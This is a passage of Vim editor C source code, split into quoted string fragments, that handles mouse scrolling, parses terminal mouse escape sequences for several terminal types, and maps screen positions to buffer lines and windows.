*inclusive = FALSE;\n }", " count = IN_BUFFER;\n if (curwin != old_curwin || curwin->w_cursor.lnum != old_cursor.lnum\n\t || curwin->w_cursor.col != old_cursor.col)\n\tcount |= CURSOR_MOVED;\t\t// Cursor has moved", "# ifdef FEAT_FOLDING\n if (mouse_char == curwin->w_fill_chars.foldclosed)\n\tcount |= MOUSE_FOLD_OPEN;\n else if (mouse_char != ' ')\n\tcount |= MOUSE_FOLD_CLOSE;\n# endif", " return count;\n}", "/*\n * Mouse scroll wheel: Default action is to scroll mouse_vert_step lines (or\n * mouse_hor_step, depending on the scroll direction), or one page when Shift or\n * Ctrl is used.\n * K_MOUSEUP (cap->arg == 1) or K_MOUSEDOWN (cap->arg == 0) or\n * K_MOUSELEFT (cap->arg == -1) or K_MOUSERIGHT (cap->arg == -2)\n */\n void\nnv_mousescroll(cmdarg_T *cap)\n{\n win_T *old_curwin = curwin, *wp;", " if (mouse_row >= 0 && mouse_col >= 0)\n {\n\tint row, col;", "\trow = mouse_row;\n\tcol = mouse_col;", "\t// find the window at the pointer coordinates\n\twp = mouse_find_win(&row, &col, FIND_POPUP);\n\tif (wp == NULL)\n\t return;\n#ifdef FEAT_PROP_POPUP\n\tif (WIN_IS_POPUP(wp) && !wp->w_has_scrollbar)\n\t return;\n#endif\n\tcurwin = wp;\n\tcurbuf = curwin->w_buffer;\n }\n if (cap->arg == MSCR_UP || cap->arg == MSCR_DOWN)\n {\n# ifdef FEAT_TERMINAL\n\tif (term_use_loop())\n\t // This window is a terminal window, send the mouse event there.\n\t // Set \"typed\" to FALSE to avoid an endless loop.\n\t send_keys_to_term(curbuf->b_term, cap->cmdchar, mod_mask, FALSE);\n\telse\n# endif\n\tif (mouse_vert_step < 0 || mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL))\n\t{\n\t (void)onepage(cap->arg ? FORWARD : BACKWARD, 1L);\n\t}\n\telse\n\t{\n\t // Don't scroll more than half the window height.\n\t if (curwin->w_height < mouse_vert_step * 2)\n\t {\n\t\tcap->count1 = curwin->w_height / 2;\n\t\tif (cap->count1 == 0)\n\t\t cap->count1 = 1;\n\t }\n\t else\n\t\tcap->count1 = mouse_vert_step;\n\t cap->count0 = cap->count1;\n\t nv_scroll_line(cap);\n\t}\n#ifdef FEAT_PROP_POPUP\n\tif (WIN_IS_POPUP(curwin))\n\t popup_set_firstline(curwin);\n#endif\n }\n# ifdef FEAT_GUI\n else\n {\n\t// Horizontal scroll - only allowed when 'wrap' is disabled\n\tif (!curwin->w_p_wrap)\n\t{\n\t int val, step;", "\t if (mouse_hor_step < 0\n\t\t || mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL))\n\t\tstep = curwin->w_width;\n\t else\n\t\tstep = mouse_hor_step;\n\t val = curwin->w_leftcol + (cap->arg == MSCR_RIGHT ? -step : +step);\n\t if (val < 0)\n\t\tval = 0;", "\t gui_do_horiz_scroll(val, TRUE);\n\t}\n }\n# endif\n# ifdef FEAT_SYN_HL\n if (curwin != old_curwin && curwin->w_p_cul)\n\tredraw_for_cursorline(curwin);\n# endif\n may_trigger_winscrolled();", " curwin->w_redr_status = TRUE;", " curwin = old_curwin;\n curbuf = curwin->w_buffer;\n}", "/*\n * Mouse clicks and drags.\n */\n void\nnv_mouse(cmdarg_T *cap)\n{\n (void)do_mouse(cap->oap, cap->cmdchar, BACKWARD, cap->count1, 0);\n}", "static int\theld_button = MOUSE_RELEASE;", " void\nreset_held_button()\n{\n held_button = MOUSE_RELEASE;\n}", "/*\n * Check if typebuf 'tp' contains a terminal mouse code and returns the\n * modifiers found in typebuf in 'modifiers'.\n */\n int\ncheck_termcode_mouse(\n char_u\t*tp,\n int\t\t*slen,\n char_u\t*key_name,\n char_u\t*modifiers_start,\n int\t\tidx,\n int\t\t*modifiers)\n{\n int\t\tj;\n char_u\t*p;\n# if !defined(UNIX) || defined(FEAT_MOUSE_XTERM) || defined(FEAT_GUI) \\\n || defined(FEAT_MOUSE_GPM) || defined(FEAT_SYSMOUSE)\n char_u\tbytes[6];\n int\t\tnum_bytes;\n# endif\n int\t\tmouse_code = 0;\t // init for GCC\n int\t\tis_click, is_drag;\n int\t\tis_release, release_is_ambiguous;\n int\t\twheel_code = 0;\n int\t\tcurrent_button;\n static int\torig_num_clicks = 1;\n static int\torig_mouse_code = 0x0;\n# ifdef CHECK_DOUBLE_CLICK\n static int\torig_mouse_col = 0;\n static int\torig_mouse_row = 0;\n static struct timeval orig_mouse_time = {0, 0};\n // time of previous mouse click\n struct timeval mouse_time;\t\t// time of current mouse click\n long\ttimediff;\t\t// elapsed time in msec\n# endif", " is_click = is_drag = is_release = release_is_ambiguous = FALSE;", "# if !defined(UNIX) || defined(FEAT_MOUSE_XTERM) || defined(FEAT_GUI) \\\n || defined(FEAT_MOUSE_GPM) || defined(FEAT_SYSMOUSE)\n if (key_name[0] == KS_MOUSE\n# ifdef FEAT_MOUSE_GPM\n\t || key_name[0] == KS_GPM_MOUSE\n# endif\n )\n {\n\t/*\n\t * For xterm we get \"<t_mouse>scr\", where s == encoded button state:\n\t *\t 0x20 = left button down\n\t *\t 0x21 = middle button down\n\t *\t 0x22 = right button down\n\t *\t 0x23 = any button release\n\t *\t 0x60 = button 4 down (scroll wheel down)\n\t *\t 0x61 = button 5 down (scroll wheel up)\n\t *\tadd 0x04 for SHIFT\n\t *\tadd 0x08 for ALT\n\t *\tadd 0x10 for CTRL\n\t *\tadd 0x20 for mouse drag (0x40 is drag with left button)\n\t *\tadd 0x40 for mouse move (0x80 is move, 0x81 too)\n\t *\t\t 0x43 (drag + release) is also move\n\t * c == column + ' ' + 1 == column + 33\n\t * r == row + ' ' + 1 == row + 33\n\t *\n\t * The coordinates are passed on through global variables. Ugly, but\n\t * this avoids trouble with mouse clicks at an unexpected moment and\n\t * allows for mapping them.\n\t */\n\tfor (;;)\n\t{\n# ifdef FEAT_GUI\n\t if (gui.in_use)\n\t {\n\t\t// GUI uses more bits for columns > 223\n\t\tnum_bytes = get_bytes_from_buf(tp + *slen, bytes, 5);\n\t\tif (num_bytes == -1)\t// not enough coordinates\n\t\t return -1;\n\t\tmouse_code = bytes[0];\n\t\tmouse_col = 128 * (bytes[1] - ' ' - 1)\n\t\t + bytes[2] - ' ' - 1;\n\t\tmouse_row = 128 * (bytes[3] - ' ' - 1)\n\t\t + bytes[4] - ' ' - 1;\n\t }\n\t else\n# endif\n\t {\n\t\tnum_bytes = get_bytes_from_buf(tp + *slen, bytes, 3);\n\t\tif (num_bytes == -1)\t// not enough coordinates\n\t\t return -1;\n\t\tmouse_code = bytes[0];\n\t\tmouse_col = bytes[1] - ' ' - 1;\n\t\tmouse_row = bytes[2] - ' ' - 1;\n\t }\n\t *slen += num_bytes;", "\t // If the following bytes is also a mouse code and it has the same\n\t // code, dump this one and get the next. This makes dragging a\n\t // whole lot faster.\n# ifdef FEAT_GUI\n\t if (gui.in_use)\n\t\tj = 3;\n\t else\n# endif\n\t\tj = get_termcode_len(idx);\n\t if (STRNCMP(tp, tp + *slen, (size_t)j) == 0\n\t\t && tp[*slen + j] == mouse_code\n\t\t && tp[*slen + j + 1] != NUL\n\t\t && tp[*slen + j + 2] != NUL\n# ifdef FEAT_GUI\n\t\t && (!gui.in_use\n\t\t\t|| (tp[*slen + j + 3] != NUL\n\t\t\t && tp[*slen + j + 4] != NUL))\n# endif\n\t )\n\t\t*slen += j;\n\t else\n\t\tbreak;\n\t}\n }", " if (key_name[0] == KS_URXVT_MOUSE\n\t || key_name[0] == KS_SGR_MOUSE\n\t || key_name[0] == KS_SGR_MOUSE_RELEASE)\n {\n\t// URXVT 1015 mouse reporting mode:\n\t// Almost identical to xterm mouse mode, except the values are decimal\n\t// instead of bytes.\n\t//\n\t// \\033[%d;%d;%dM\n\t//\t ^-- row\n\t//\t ^----- column\n\t//\t ^-------- code\n\t//\n\t// SGR 1006 mouse reporting mode:\n\t// Almost identical to xterm mouse mode, except the values are decimal\n\t// instead of bytes.\n\t//\n\t// \\033[<%d;%d;%dM\n\t//\t ^-- row\n\t//\t ^----- column\n\t//\t ^-------- code\n\t//\n\t// \\033[<%d;%d;%dm\t : mouse release event\n\t//\t ^-- row\n\t//\t ^----- column\n\t//\t ^-------- code\n\tp = modifiers_start;\n\tif (p == NULL)\n\t return -1;", "\tmouse_code = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;", "\t// when mouse reporting is SGR, add 32 to mouse code\n\tif (key_name[0] == KS_SGR_MOUSE\n\t\t|| key_name[0] == KS_SGR_MOUSE_RELEASE)\n\t mouse_code += 32;", "\tmouse_col = getdigits(&p) - 1;\n\tif (*p++ != ';')\n\t return -1;", "\tmouse_row = getdigits(&p) - 1;", "\t// The modifiers were the mouse coordinates, not the modifier keys\n\t// (alt/shift/ctrl/meta) state.\n\t*modifiers = 0;\n }", " if (key_name[0] == KS_SGR_MOUSE\n\t || key_name[0] == KS_SGR_MOUSE_RELEASE)\n {\n\tif (key_name[0] == KS_SGR_MOUSE_RELEASE)\n\t{\n\t is_release = TRUE;\n\t // This is used below to set held_button.\n\t mouse_code |= MOUSE_RELEASE;\n\t}\n }\n else\n {\n\trelease_is_ambiguous = TRUE;\n\tif ((mouse_code & MOUSE_RELEASE) == MOUSE_RELEASE)\n\t is_release = TRUE;\n }", " if (key_name[0] == KS_MOUSE\n# ifdef FEAT_MOUSE_GPM\n\t || key_name[0] == KS_GPM_MOUSE\n# endif\n# ifdef FEAT_MOUSE_URXVT\n\t || key_name[0] == KS_URXVT_MOUSE\n# endif\n\t || key_name[0] == KS_SGR_MOUSE\n\t || key_name[0] == KS_SGR_MOUSE_RELEASE)\n {\n# if !defined(MSWIN)\n\t/*\n\t * Handle old style mouse events.\n\t * Recognize the xterm mouse wheel, but not in the GUI, the\n\t * Linux console with GPM and the MS-DOS or Win32 console\n\t * (multi-clicks use >= 0x60).\n\t */\n\tif (mouse_code >= MOUSEWHEEL_LOW\n# ifdef FEAT_GUI\n\t\t&& !gui.in_use\n# endif\n# ifdef FEAT_MOUSE_GPM\n\t\t&& key_name[0] != KS_GPM_MOUSE\n# endif\n\t )\n\t{\n# if defined(UNIX)\n\t if (use_xterm_mouse() > 1 && mouse_code >= 0x80)\n\t\t// mouse-move event, using MOUSE_DRAG works\n\t\tmouse_code = MOUSE_DRAG;\n\t else\n# endif\n\t\t// Keep the mouse_code before it's changed, so that we\n\t\t// remember that it was a mouse wheel click.\n\t\twheel_code = mouse_code;\n\t}\n# ifdef FEAT_MOUSE_XTERM\n\telse if (held_button == MOUSE_RELEASE\n# ifdef FEAT_GUI\n\t\t&& !gui.in_use\n# endif\n\t\t&& (mouse_code == 0x23 || mouse_code == 0x24\n\t\t || mouse_code == 0x40 || mouse_code == 0x41))\n\t{\n\t // Apparently 0x23 and 0x24 are used by rxvt scroll wheel.\n\t // And 0x40 and 0x41 are used by some xterm emulator.\n\t wheel_code = mouse_code - (mouse_code >= 0x40 ? 0x40 : 0x23)\n\t\t\t\t\t\t\t + MOUSEWHEEL_LOW;\n\t}\n# endif", "# if defined(UNIX)\n\telse if (use_xterm_mouse() > 1)\n\t{\n\t if (mouse_code & MOUSE_DRAG_XTERM)\n\t\tmouse_code |= MOUSE_DRAG;\n\t}\n# endif\n# ifdef FEAT_XCLIPBOARD\n\telse if (!(mouse_code & MOUSE_DRAG & ~MOUSE_CLICK_MASK))\n\t{\n\t if (is_release)\n\t\tstop_xterm_trace();\n\t else\n\t\tstart_xterm_trace(mouse_code);\n\t}\n# endif\n# endif\n }\n# endif // !UNIX || FEAT_MOUSE_XTERM\n# ifdef FEAT_MOUSE_NET\n if (key_name[0] == KS_NETTERM_MOUSE)\n {\n\tint mc, mr;", "\t// expect a rather limited sequence like: balancing {\n\t// \\033}6,45\\r\n\t// '6' is the row, 45 is the column\n\tp = tp + *slen;\n\tmr = getdigits(&p);\n\tif (*p++ != ',')\n\t return -1;\n\tmc = getdigits(&p);\n\tif (*p++ != '\\r')\n\t return -1;", "\tmouse_col = mc - 1;\n\tmouse_row = mr - 1;\n\tmouse_code = MOUSE_LEFT;\n\t*slen += (int)(p - (tp + *slen));\n }\n# endif\t// FEAT_MOUSE_NET\n# ifdef FEAT_MOUSE_JSB\n if (key_name[0] == KS_JSBTERM_MOUSE)\n {\n\tint mult, val, iter, button, status;", "\t/*\n\t * JSBTERM Input Model\n\t * \\033[0~zw uniq escape sequence\n\t * (L-x) Left button pressed - not pressed x not reporting\n\t * (M-x) Middle button pressed - not pressed x not reporting\n\t * (R-x) Right button pressed - not pressed x not reporting\n\t * (SDmdu) Single , Double click, m: mouse move, d: button down,\n\t\t *\t\t\t\t\t\t u: button up\n\t * ### X cursor position padded to 3 digits\n\t * ### Y cursor position padded to 3 digits\n\t * (s-x) SHIFT key pressed - not pressed x not reporting\n\t * (c-x) CTRL key pressed - not pressed x not reporting\n\t * \\033\\\\ terminating sequence\n\t */\n\tp = tp + *slen;\n\tbutton = mouse_code = 0;\n\tswitch (*p++)\n\t{\n\t case 'L': button = 1; break;\n\t case '-': break;\n\t case 'x': break; // ignore sequence\n\t default: return -1; // Unknown Result\n\t}\n\tswitch (*p++)\n\t{\n\t case 'M': button |= 2; break;\n\t case '-': break;\n\t case 'x': break; // ignore sequence\n\t default: return -1; // Unknown Result\n\t}\n\tswitch (*p++)\n\t{\n\t case 'R': button |= 4; break;\n\t case '-': break;\n\t case 'x': break; // ignore sequence\n\t default: return -1; // Unknown Result\n\t}\n\tstatus = *p++;\n\tfor (val = 0, mult = 100, iter = 0; iter < 3; iter++,\n\t\tmult /= 10, p++)\n\t if (*p >= '0' && *p <= '9')\n\t\tval += (*p - '0') * mult;\n\t else\n\t\treturn -1;\n\tmouse_col = val;\n\tfor (val = 0, mult = 100, iter = 0; iter < 3; iter++,\n\t\tmult /= 10, p++)\n\t if (*p >= '0' && *p <= '9')\n\t\tval += (*p - '0') * mult;\n\t else\n\t\treturn -1;\n\tmouse_row = val;\n\tswitch (*p++)\n\t{\n\t case 's': button |= 8; break; // SHIFT key Pressed\n\t case '-': break; // Not Pressed\n\t case 'x': break; // Not Reporting\n\t default: return -1; // Unknown Result\n\t}\n\tswitch (*p++)\n\t{\n\t case 'c': button |= 16; break; // CTRL key Pressed\n\t case '-': break; // Not Pressed\n\t case 'x': break; // Not Reporting\n\t default: return -1; // Unknown Result\n\t}\n\tif (*p++ != '\\033')\n\t return -1;\n\tif (*p++ != '\\\\')\n\t return -1;\n\tswitch (status)\n\t{\n\t case 'D': // Double Click\n\t case 'S': // Single Click\n\t\tif (button & 1) mouse_code |= MOUSE_LEFT;\n\t\tif (button & 2) mouse_code |= MOUSE_MIDDLE;\n\t\tif (button & 4) mouse_code |= MOUSE_RIGHT;\n\t\tif (button & 8) mouse_code |= MOUSE_SHIFT;\n\t\tif (button & 16) mouse_code |= MOUSE_CTRL;\n\t\tbreak;\n\t case 'm': // Mouse move\n\t\tif (button & 1) mouse_code |= MOUSE_LEFT;\n\t\tif (button & 2) mouse_code |= MOUSE_MIDDLE;\n\t\tif (button & 4) mouse_code |= MOUSE_RIGHT;\n\t\tif (button & 8) mouse_code |= MOUSE_SHIFT;\n\t\tif (button & 16) mouse_code |= MOUSE_CTRL;\n\t\tif ((button & 7) != 0)\n\t\t{\n\t\t held_button = mouse_code;\n\t\t mouse_code |= MOUSE_DRAG;\n\t\t}\n\t\tis_drag = TRUE;\n\t\tshowmode();\n\t\tbreak;\n\t case 'd': // Button Down\n\t\tif (button & 1) mouse_code |= MOUSE_LEFT;\n\t\tif (button & 2) mouse_code |= MOUSE_MIDDLE;\n\t\tif (button & 4) mouse_code |= MOUSE_RIGHT;\n\t\tif (button & 8) mouse_code |= MOUSE_SHIFT;\n\t\tif (button & 16) mouse_code |= MOUSE_CTRL;\n\t\tbreak;\n\t case 'u': // Button Up\n\t\tis_release = TRUE;\n\t\tif (button & 1)\n\t\t mouse_code |= MOUSE_LEFT;\n\t\tif (button & 2)\n\t\t mouse_code |= MOUSE_MIDDLE;\n\t\tif (button & 4)\n\t\t mouse_code |= MOUSE_RIGHT;\n\t\tif (button & 8)\n\t\t mouse_code |= MOUSE_SHIFT;\n\t\tif (button & 16)\n\t\t mouse_code |= MOUSE_CTRL;\n\t\tbreak;\n\t default: return -1; // Unknown Result\n\t}", "\t*slen += (p - (tp + *slen));\n }\n# endif // FEAT_MOUSE_JSB\n# ifdef FEAT_MOUSE_DEC\n if (key_name[0] == KS_DEC_MOUSE)\n {\n\t/*\n\t * The DEC Locator Input Model\n\t * Netterm delivers the code sequence:\n\t * \\033[2;4;24;80&w (left button down)\n\t * \\033[3;0;24;80&w (left button up)\n\t * \\033[6;1;24;80&w (right button down)\n\t * \\033[7;0;24;80&w (right button up)\n\t * CSI Pe ; Pb ; Pr ; Pc ; Pp & w\n\t * Pe is the event code\n\t * Pb is the button code\n\t * Pr is the row coordinate\n\t * Pc is the column coordinate\n\t * Pp is the third coordinate (page number)\n\t * Pe, the event code indicates what event caused this report\n\t * The following event codes are defined:\n\t * 0 - request, the terminal received an explicit request for a\n\t *\t locator report, but the locator is unavailable\n\t * 1 - request, the terminal received an explicit request for a\n\t *\t locator report\n\t * 2 - left button down\n\t * 3 - left button up\n\t * 4 - middle button down\n\t * 5 - middle button up\n\t * 6 - right button down\n\t * 7 - right button up\n\t * 8 - fourth button down\n\t * 9 - fourth button up\n\t * 10 - locator outside filter rectangle\n\t * Pb, the button code, ASCII decimal 0-15 indicating which buttons are\n\t * down if any. The state of the four buttons on the locator\n\t * correspond to the low four bits of the decimal value, \"1\" means\n\t * button depressed\n\t * 0 - no buttons down,\n\t * 1 - right,\n\t * 2 - middle,\n\t * 4 - left,\n\t * 8 - fourth\n\t * Pr is the row coordinate of the locator position in the page,\n\t * encoded as an ASCII decimal value. If Pr is omitted, the locator\n\t * position is undefined (outside the terminal window for example).\n\t * Pc is the column coordinate of the locator position in the page,\n\t * encoded as an ASCII decimal value. If Pc is omitted, the locator\n\t * position is undefined (outside the terminal window for example).\n\t * Pp is the page coordinate of the locator position encoded as an\n\t * ASCII decimal value. The page coordinate may be omitted if the\n\t * locator is on page one (the default). We ignore it anyway.\n\t */\n\tint Pe, Pb, Pr, Pc;", "\tp = tp + *slen;", "\t// get event status\n\tPe = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;", "\t// get button status\n\tPb = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;", "\t// get row status\n\tPr = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;", "\t// get column status\n\tPc = getdigits(&p);", "\t// the page parameter is optional\n\tif (*p == ';')\n\t{\n\t p++;\n\t (void)getdigits(&p);\n\t}\n\tif (*p++ != '&')\n\t return -1;\n\tif (*p++ != 'w')\n\t return -1;", "\tmouse_code = 0;\n\tswitch (Pe)\n\t{\n\t case 0: return -1; // position request while unavailable\n\t case 1: // a response to a locator position request includes\n\t\t //\tthe status of all buttons\n\t\t Pb &= 7; // mask off and ignore fourth button\n\t\t if (Pb & 4)\n\t\t\t mouse_code = MOUSE_LEFT;\n\t\t if (Pb & 2)\n\t\t\t mouse_code = MOUSE_MIDDLE;\n\t\t if (Pb & 1)\n\t\t\t mouse_code = MOUSE_RIGHT;\n\t\t if (Pb)\n\t\t {\n\t\t\t held_button = mouse_code;\n\t\t\t mouse_code |= MOUSE_DRAG;\n\t\t\t WantQueryMouse = TRUE;\n\t\t }\n\t\t is_drag = TRUE;\n\t\t showmode();\n\t\t break;\n\t case 2: mouse_code = MOUSE_LEFT;\n\t\t WantQueryMouse = TRUE;\n\t\t break;\n\t case 3: mouse_code = MOUSE_LEFT;\n\t\t is_release = TRUE;\n\t\t break;\n\t case 4: mouse_code = MOUSE_MIDDLE;\n\t\t WantQueryMouse = TRUE;\n\t\t break;\n\t case 5: mouse_code = MOUSE_MIDDLE;\n\t\t is_release = TRUE;\n\t\t break;\n\t case 6: mouse_code = MOUSE_RIGHT;\n\t\t WantQueryMouse = TRUE;\n\t\t break;\n\t case 7: mouse_code = MOUSE_RIGHT;\n\t\t is_release = TRUE;\n\t\t break;\n\t case 8: return -1; // fourth button down\n\t case 9: return -1; // fourth button up\n\t case 10: return -1; // mouse outside of filter rectangle\n\t default: return -1; // should never occur\n\t}", "\tmouse_col = Pc - 1;\n\tmouse_row = Pr - 1;", "\t*slen += (int)(p - (tp + *slen));\n }\n# endif // FEAT_MOUSE_DEC\n# ifdef FEAT_MOUSE_PTERM\n if (key_name[0] == KS_PTERM_MOUSE)\n {\n\tint button, num_clicks, action;", "\tp = tp + *slen;", "\taction = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;", "\tmouse_row = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;\n\tmouse_col = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;", "\tbutton = getdigits(&p);\n\tmouse_code = 0;", "\tswitch (button)\n\t{\n\t case 4: mouse_code = MOUSE_LEFT; break;\n\t case 1: mouse_code = MOUSE_RIGHT; break;\n\t case 2: mouse_code = MOUSE_MIDDLE; break;\n\t default: return -1;\n\t}", "\tswitch (action)\n\t{\n\t case 31: // Initial press\n\t\tif (*p++ != ';')\n\t\t return -1;", "\t\tnum_clicks = getdigits(&p); // Not used\n\t\tbreak;", "\t case 32: // Release\n\t\tis_release = TRUE;\n\t\tbreak;", "\t case 33: // Drag\n\t\theld_button = mouse_code;\n\t\tmouse_code |= MOUSE_DRAG;\n\t\tbreak;", "\t default:\n\t\treturn -1;\n\t}", "\tif (*p++ != 't')\n\t return -1;", "\t*slen += (p - (tp + *slen));\n }\n# endif // FEAT_MOUSE_PTERM", " // Interpret the mouse code\n current_button = (mouse_code & MOUSE_CLICK_MASK);\n if (is_release)\n\tcurrent_button |= MOUSE_RELEASE;", " if (current_button == MOUSE_RELEASE\n# ifdef FEAT_MOUSE_XTERM\n\t && wheel_code == 0\n# endif\n )\n {\n\t/*\n\t * If we get a mouse drag or release event when there is no mouse\n\t * button held down (held_button == MOUSE_RELEASE), produce a K_IGNORE\n\t * below.\n\t * (can happen when you hold down two buttons and then let them go, or\n\t * click in the menu bar, but not on a menu, and drag into the text).\n\t */\n\tif ((mouse_code & MOUSE_DRAG) == MOUSE_DRAG)\n\t is_drag = TRUE;\n\tcurrent_button = held_button;\n }\n else\n {\n if (wheel_code == 0)\n {\n# ifdef CHECK_DOUBLE_CLICK\n# ifdef FEAT_MOUSE_GPM\n\t/*\n\t * Only for Unix, when GUI not active, we handle multi-clicks here, but\n\t * not for GPM mouse events.\n\t */\n# ifdef FEAT_GUI\n\tif (key_name[0] != KS_GPM_MOUSE && !gui.in_use)\n# else\n\t if (key_name[0] != KS_GPM_MOUSE)\n# endif\n# else\n# ifdef FEAT_GUI\n\t\tif (!gui.in_use)\n# endif\n# endif\n\t\t{\n\t\t /*\n\t\t * Compute the time elapsed since the previous mouse click.\n\t\t */\n\t\t gettimeofday(&mouse_time, NULL);\n\t\t if (orig_mouse_time.tv_sec == 0)\n\t\t {\n\t\t\t/*\n\t\t\t * Avoid computing the difference between mouse_time\n\t\t\t * and orig_mouse_time for the first click, as the\n\t\t\t * difference would be huge and would cause\n\t\t\t * multiplication overflow.\n\t\t\t */\n\t\t\ttimediff = p_mouset;\n\t\t }\n\t\t else\n\t\t\ttimediff = time_diff_ms(&orig_mouse_time, &mouse_time);\n\t\t orig_mouse_time = mouse_time;\n\t\t if (mouse_code == orig_mouse_code\n\t\t\t && timediff < p_mouset\n\t\t\t && orig_num_clicks != 4\n\t\t\t && orig_mouse_col == mouse_col\n\t\t\t && orig_mouse_row == mouse_row\n\t\t\t && (is_mouse_topline(curwin)\n\t\t\t\t// Double click in tab pages line also works\n\t\t\t\t// when window contents changes.\n\t\t\t\t|| (mouse_row == 0 && firstwin->w_winrow > 0))\n\t\t )\n\t\t\t++orig_num_clicks;\n\t\t else\n\t\t\torig_num_clicks = 1;\n\t\t orig_mouse_col = mouse_col;\n\t\t orig_mouse_row = mouse_row;\n\t\t set_mouse_topline(curwin);\n\t\t}\n# if defined(FEAT_GUI) || defined(FEAT_MOUSE_GPM)\n\t\telse\n\t\t orig_num_clicks = NUM_MOUSE_CLICKS(mouse_code);\n# endif\n# else\n\torig_num_clicks = NUM_MOUSE_CLICKS(mouse_code);\n# endif\n\tis_click = TRUE;\n }\n orig_mouse_code = mouse_code;\n }\n if (!is_drag)\n\theld_button = mouse_code & MOUSE_CLICK_MASK;", " /*\n * Translate the actual mouse event into a pseudo mouse event.\n * First work out what modifiers are to be used.\n */\n if (orig_mouse_code & MOUSE_SHIFT)\n\t*modifiers |= MOD_MASK_SHIFT;\n if (orig_mouse_code & MOUSE_CTRL)\n\t*modifiers |= MOD_MASK_CTRL;\n if (orig_mouse_code & MOUSE_ALT)\n\t*modifiers |= MOD_MASK_ALT;\n if (orig_num_clicks == 2)\n\t*modifiers |= MOD_MASK_2CLICK;\n else if (orig_num_clicks == 3)\n\t*modifiers |= MOD_MASK_3CLICK;\n else if (orig_num_clicks == 4)\n\t*modifiers |= MOD_MASK_4CLICK;", " // Work out our pseudo mouse event. Note that MOUSE_RELEASE gets added,\n // then it's not mouse up/down.\n key_name[0] = KS_EXTRA;\n if (wheel_code != 0 && (!is_release || release_is_ambiguous))\n {\n\tif (wheel_code & MOUSE_CTRL)\n\t *modifiers |= MOD_MASK_CTRL;\n\tif (wheel_code & MOUSE_ALT)\n\t *modifiers |= MOD_MASK_ALT;", "\tif (wheel_code & 1 && wheel_code & 2)\n\t key_name[1] = (int)KE_MOUSELEFT;\n\telse if (wheel_code & 2)\n\t key_name[1] = (int)KE_MOUSERIGHT;\n\telse if (wheel_code & 1)\n\t key_name[1] = (int)KE_MOUSEUP;\n\telse\n\t key_name[1] = (int)KE_MOUSEDOWN;", "\theld_button = MOUSE_RELEASE;\n }\n else\n\tkey_name[1] = get_pseudo_mouse_code(current_button, is_click, is_drag);", "\n // Make sure the mouse position is valid. Some terminals may return weird\n // values.\n if (mouse_col >= Columns)\n\tmouse_col = Columns - 1;\n if (mouse_row >= Rows)\n\tmouse_row = Rows - 1;", " return 0;\n}", "// Functions also used for popup windows.", "/*\n * Compute the buffer line position from the screen position \"rowp\" / \"colp\" in\n * window \"win\".\n * \"plines_cache\" can be NULL (no cache) or an array with \"Rows\" entries that\n * caches the plines_win() result from a previous call. Entry is zero if not\n * computed yet. There must be no text or setting changes since the entry is\n * put in the cache.\n * Returns TRUE if the position is below the last line.\n */\n int\nmouse_comp_pos(\n win_T\t*win,\n int\t\t*rowp,\n int\t\t*colp,\n linenr_T\t*lnump,\n int\t\t*plines_cache)\n{\n int\t\tcol = *colp;\n int\t\trow = *rowp;\n linenr_T\tlnum;\n int\t\tretval = FALSE;\n int\t\toff;\n int\t\tcount;", "#ifdef FEAT_RIGHTLEFT\n if (win->w_p_rl)\n\tcol = win->w_width - 1 - col;\n#endif", " lnum = win->w_topline;", " while (row > 0)\n {\n\tint cache_idx = lnum - win->w_topline;", "\t// Only \"Rows\" lines are cached, with folding we'll run out of entries\n\t// and use the slow way.\n\tif (plines_cache != NULL && cache_idx < Rows\n\t\t\t\t\t\t&& plines_cache[cache_idx] > 0)\n\t count = plines_cache[cache_idx];\n\telse\n\t{\n#ifdef FEAT_DIFF\n\t // Don't include filler lines in \"count\"\n\t if (win->w_p_diff\n# ifdef FEAT_FOLDING\n\t\t && !hasFoldingWin(win, lnum, NULL, NULL, TRUE, NULL)\n# endif\n\t\t )\n\t {\n\t\tif (lnum == win->w_topline)\n\t\t row -= win->w_topfill;\n\t\telse\n\t\t row -= diff_check_fill(win, lnum);\n\t\tcount = plines_win_nofill(win, lnum, TRUE);\n\t }\n\t else\n#endif\n\t\tcount = plines_win(win, lnum, TRUE);\n\t if (plines_cache != NULL && cache_idx < Rows)\n\t\tplines_cache[cache_idx] = count;\n\t}\n\tif (count > row)\n\t break;\t// Position is in this buffer line.\n#ifdef FEAT_FOLDING\n\t(void)hasFoldingWin(win, lnum, NULL, &lnum, TRUE, NULL);\n#endif\n\tif (lnum == win->w_buffer->b_ml.ml_line_count)\n\t{\n\t retval = TRUE;\n\t break;\t\t// past end of file\n\t}\n\trow -= count;\n\t++lnum;\n }", " if (!retval)\n {\n\t// Compute the column without wrapping.\n\toff = win_col_off(win) - win_col_off2(win);\n\tif (col < off)\n\t col = off;\n\tcol += row * (win->w_width - off);\n\t// add skip column (for long wrapping line)\n\tcol += win->w_skipcol;\n }", " if (!win->w_p_wrap)\n\tcol += win->w_leftcol;", " // skip line number and fold column in front of the line\n col -= win_col_off(win);\n if (col <= 0)\n {\n#ifdef FEAT_NETBEANS_INTG\n\t// if mouse is clicked on the gutter, then inform the netbeans server\n\tif (*colp < win_col_off(win))\n\t netbeans_gutter_click(lnum);\n#endif\n\tcol = 0;\n }", " *colp = col;\n *rowp = row;\n *lnump = lnum;\n return retval;\n}", "/*\n * Find the window at screen position \"*rowp\" and \"*colp\". The positions are\n * updated to become relative to the top-left of the window.\n * When \"popup\" is FAIL_POPUP and the position is in a popup window then NULL\n * is returned. When \"popup\" is IGNORE_POPUP then do not even check popup\n * windows.\n * Returns NULL when something is wrong.\n */\n win_T *\nmouse_find_win(int *rowp, int *colp, mouse_find_T popup UNUSED)\n{\n frame_T\t*fp;\n win_T\t*wp;", "#ifdef FEAT_PROP_POPUP\n win_T\t*pwp = NULL;", " if (popup != IGNORE_POPUP)\n {\n\tpopup_reset_handled(POPUP_HANDLED_1);\n\twhile ((wp = find_next_popup(TRUE, POPUP_HANDLED_1)) != NULL)\n\t{\n\t if (*rowp >= wp->w_winrow && *rowp < wp->w_winrow + popup_height(wp)\n\t\t && *colp >= wp->w_wincol\n\t\t\t\t && *colp < wp->w_wincol + popup_width(wp))\n\t\tpwp = 